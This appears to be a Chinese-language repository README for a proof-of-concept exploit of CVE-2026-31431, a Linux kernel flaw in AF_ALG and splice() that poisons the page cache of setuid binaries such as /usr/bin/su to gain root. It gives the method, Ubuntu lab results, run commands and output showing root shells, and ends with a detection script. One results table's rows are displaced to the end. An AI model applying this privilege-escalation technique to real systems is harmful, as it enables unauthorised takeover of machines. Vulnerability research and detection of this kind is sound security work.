CVE-2026-31431(Copy-Fail)的概念验证漏洞利用程序,该漏洞是 Linux 内核中 AF_ALG 与 splice() 的缺陷,可实现页缓存投毒和本地权限提升。包含分析、实验室结果和检测脚本。
本仓库包含对 CVE-2026-31431 漏洞(俗称 "Copy-Fail")的深入分析、概念验证(PoC)及实验室测试结果。
Copy-Fail 利用了 Linux 内核 Crypto API(AF_ALG)与 splice() 系统调用相结合的逻辑缺陷。它允许非特权本地攻击者执行页缓存投毒(Page Cache Poisoning),从而实现本地权限提升(LPE)。
与修改磁盘上文件的传统漏洞利用不同,Copy-Fail 直接针对页缓存(RAM)。当文件被读取时,内核会在内存中保存一份副本以提升性能。由于特定内核版本中 authenc 算法存在内存管理缺陷,攻击者可以诱骗内核覆盖这些"只读"内存页。
通过投毒 /usr/bin/su 等 SETUID 二进制文件的内存页,可以绕过身份验证并生成 root shell。
测试在多个 Ubuntu 发行版上进行,重点考察内核补丁移植(backporting)和补丁管理的影响。
| 发行版 | 内核版本 | 补丁日期 | 结果 | 观察 |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | 2025年10月 | ❌ 失败 | 安全更新已生效 |
| Ubuntu 22.04 | 5.15.0-125-generic | 2024年9月 | ✅ 成功 | 存在漏洞(未修补) |
| Ubuntu 18.04 | 4.15.0-197-generic | 2022年11月 | ✅ 成功 | 存在漏洞(未修补) |
内核版本号可能具有误导性。虽然 6.8 等"较新"内核通过安全补丁受到保护,但 4.15 和 5.15 等较旧或已停止维护(EOL)的内核由于缺少移植的修复程序而完全存在漏洞。
在研究过程中,通过测试两个共享相同主版本内核的 Ubuntu 22.04 系统,获得了显著的结果:
| 内核版本 | 补丁日期 |
|---|
该测试证明,系统安全性不能仅通过主版本号来衡量。运行 5.15.0-125 的服务器可在数秒内被获取 root 权限,而 5.15.0-170 则完全阻止了攻击。
成功利用输出(内核 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] 正在投毒 /usr/bin/su(Ubuntu 22.04 / 内核 5.15)...
[+] 漏洞利用完成。正在触发 Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
该 PoC 使用 ctypes 开发,以确保在不同 Python 版本(特别是缺乏原生 os.splice 支持的版本)之间的兼容性。
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su 正在被投毒(内核 4.15)...
[+] 内存已投毒!正在触发 Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. 检查内核版本
# uname -r
# 2. 检查已加载模块(无输出则安全)
# lsmod | grep -E "algif_aead|authencesn"
# 3. 关键测试 — authencesn 绑定
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] 严重 — 系统存在漏洞!')
s.close()
except:
print('[+] 安全 — authencesn 不可访问')
"
# 4. setuid 二进制文件哈希(参考)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
评估表:
| 结果 | 含义 |
|---|---|
| 无 lsmod 输出 + 绑定错误 | ✅ 安全 |
| 存在 lsmod 输出或绑定成功 | ⚠️ 存在漏洞,请立即应用补丁 |
免责声明: 本研究及 PoC 仅用于教育和授权安全测试目的。在未经授权的系统上使用可能导致法律后果。
| 结果 |
|---|
| 状态 |
|---|
| 5.15.0-125 | 2024年9月 | ✅ 成功 | 存在漏洞(已触发漏洞利用) |
| 5.15.0-170 | 2026年1月 | ❌ 失败 | 安全(已修补) |